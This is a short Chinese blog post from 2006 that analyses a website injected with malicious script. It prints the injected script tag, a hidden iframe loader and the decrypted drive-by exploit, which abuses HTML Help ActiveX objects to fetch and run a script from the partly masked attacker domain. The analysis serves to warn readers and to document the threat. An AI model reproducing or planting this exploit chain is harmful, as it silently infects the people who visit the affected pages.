又发现一个带毒网站（第2版）

来源： 作者：Purpleendurer 出处：综艺读书 2006-05-16 

关 键 词：加密  word  windows  vb  qq  

endurer　原创

 

首页被插入代码:

 

---

＜script language="javascript" src="http://www.***3core.com/images/gif.js"＞

 

 

---

http://www.***3core.com/images/gif.js的代码为：

 

 

---

 

document.write("＜iframe src=http://www.***3core.com/images/error.htm width=0 height=0＞＜/iframe＞");

 

---

 

http://www.***3core.com/images/error.htm（Kaspersky报为Trojan-Downloader.JS.Agent.e）的内容为加密的脚本，解密后为：

 

---

＜!--
var Words ="＜script＞document.write(unescape('＜HTML＞
＜head＞
＜/head＞
＜BODY＞
＜div style="display:none"＞
＜OBJECT id="f1"
type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"＞
＜PARAM name="Command" value="Related Topics, MENU"＞
＜PARAM name="Window" value="$global_ifl"＞
＜PARAM name="Item1" value='command;file://c:\WINDOWS\Help\apps.chm'＞
＜/OBJECT＞
＜OBJECT id="f2" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"＞
＜PARAM name="Command" value="Related Topics, MENU"＞
＜PARAM name="Window" value="$global_ifl"＞
＜PARAM name="Item1" value='command;javascript:eval("document.write(\"＜SCRIPT language%20%3D%20JScript  src=\\\"http://www.***3core.com/images/afu.gif\\\"\"+String.fromCharCode(62)+\"＜/SCR\"+\"IPT\"+String.fromCharCode(62))")'＞
＜/OBJECT＞
＜/div＞
＜script＞
f1.Click();setTimeout("f2.Click();",0);
＜/script＞
＜/BODY＞
＜/HTML＞'));＜/script＞"

 

function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
// --＞

 

---

这个error.htm的内容与

小心借情人节传播的QQ尾巴

中的afu.htm相似，同样是下载一个名为afu.gif的文件。

Kaspersky将afu.gif报为Exploit.VBS.Phel.bq

更多内容请看网站服务器的选型专题，或进入讨论组讨论。

【收藏此文】【大 中 小】【打印】【关闭】

较早的文章：抓获doc文档杀手Trojan.Dockiller.b（第1版）

较新的文章：How to cross-compile OpenSSL for ARM